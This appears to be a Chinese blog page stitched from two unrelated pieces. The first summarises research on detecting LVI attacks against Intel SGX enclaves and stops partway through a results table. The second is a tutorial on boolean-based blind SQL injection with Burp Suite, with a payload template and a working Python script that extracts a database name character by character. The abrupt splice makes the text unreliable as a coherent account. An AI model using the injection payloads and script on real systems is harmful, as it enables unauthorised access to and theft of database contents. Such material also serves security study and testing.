16、网络安全:LVI攻击检测与加密货币矿工检测

网络安全:LVI攻击检测与加密货币矿工检测

一、LVI攻击检测相关内容

在网络安全领域,侧信道攻击(SCA)对英特尔SGX(Software Guard Extensions)飞地构成了严重威胁。为了有效检测针对SGX飞地的LVI(Load Value Injection)攻击,研究人员进行了深入的研究。

  1. DET LVI PPN探测器阈值
    DET LVI PPN探测器使用了一系列特定的阈值来检测攻击,具体阈值如下表所示:
    | 阈值 | 值 | 阈值 | 值 |
    | — | — | — | — |
    | TPF (<) | 6000 | CM 2 | 2000000 |
    | MINF 2 | 1 | CM RATE 2 | 0.3 |
    | MAJF 2 | 1 | IDIFF LOW | 0.9 |
    | INSTR 2 | 150000000 | IDIFF HIGH | 1.1 |
    | CR 2 | 6000000 | | |

  2. 检测性能评估
    为了评估LVI原型探测器的有效性,研究人员设置了多种场景,包括攻击场景、非攻击场景、空闲场景以及使用Geekbench5的基准测试场景。每个场景运行120秒,检测工具以1秒的标准采样间隔测量所有运行进程的性能计数器,并记录潜在攻击的检测情况。检测分为部分检测和完全检测,具体检测结果如下表所示:
    | 场景 | DET US(部分) | DET US(完全) | DET PPN(部分) | DET PPN(完全) | 组合 |

### 使用 Burp Suite 实现布尔盲注攻击爆破 #### 配置 Burp Suite 和 测试环境 为了成功执行布尔盲注攻击,需先配置好测试环境。启动 Kali 虚拟机并打开 Burp Suite 进入 Proxy 工具,在 Intercept 界面确认拦截状态为关闭 (Intercept is off)[^2]。 #### 设置代理和浏览器 确保目标应用程序流量通过 Burp Suite 的代理发送。这通常涉及设置浏览器或其他 HTTP 客户端的代理设置指向运行 Burp Suite 的机器 IP 地址以及默认监听端口 8080[^1]。 #### 发现注入点 识别应用中的潜在 SQL 注入漏洞位置非常重要。这些地方通常是查询字符串参数、POST 数据字段或是 Cookie 中可被操纵的部分。对于布尔型盲注来说,重点在于观察页面响应的变化模式来判断是否存在注入可能性及其类型。 #### 构造有效载荷 构建用于检测和提取信息的有效载荷是关键步骤之一。当知道库名长度为八时,可以设计如下形式的基础语句: ```sql AND ASCII(SUBSTRING((SELECT schema_name FROM information_schema.schemata LIMIT 1), position, 1)) > guess_value -- ``` 其中 `position` 表示当前猜测的位置(从1到8),而 `guess_value` 是用来比较ASCII码值的一个变量。如果返回真,则说明实际字符大于等于所猜数值;反之则小于该数[^4]。 #### 自动化过程 手动逐位推测效率低下且容易出错,因此建议编写 Python 或其他编程语言编写的脚本来自动化这一流程。下面是一个简单的Python例子,它会遍历每一个可能的字符直到找到匹配项为止: ```python import requests def check(payload): url = "http://example.com/vulnerable_page" params = {"param": payload} response = requests.get(url, params=params) # 根据实际情况修改条件表达式 return 'True condition' in response.text for i in range(1, 9): low, high = ord('a'), ord('z') while low <= high: mid = (low + high) >> 1 payload = f"' OR ASCII(SUBSTR(database(),{i},1))>{mid} AND '1'='1" if check(payload): low = mid + 1 else: high = mid - 1 print(chr(low)) ``` 此代码片段展示了如何利用二分查找算法高效地确定每个未知字符的具体值。请注意替换 URL 及相应参数以适应具体场景需求。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值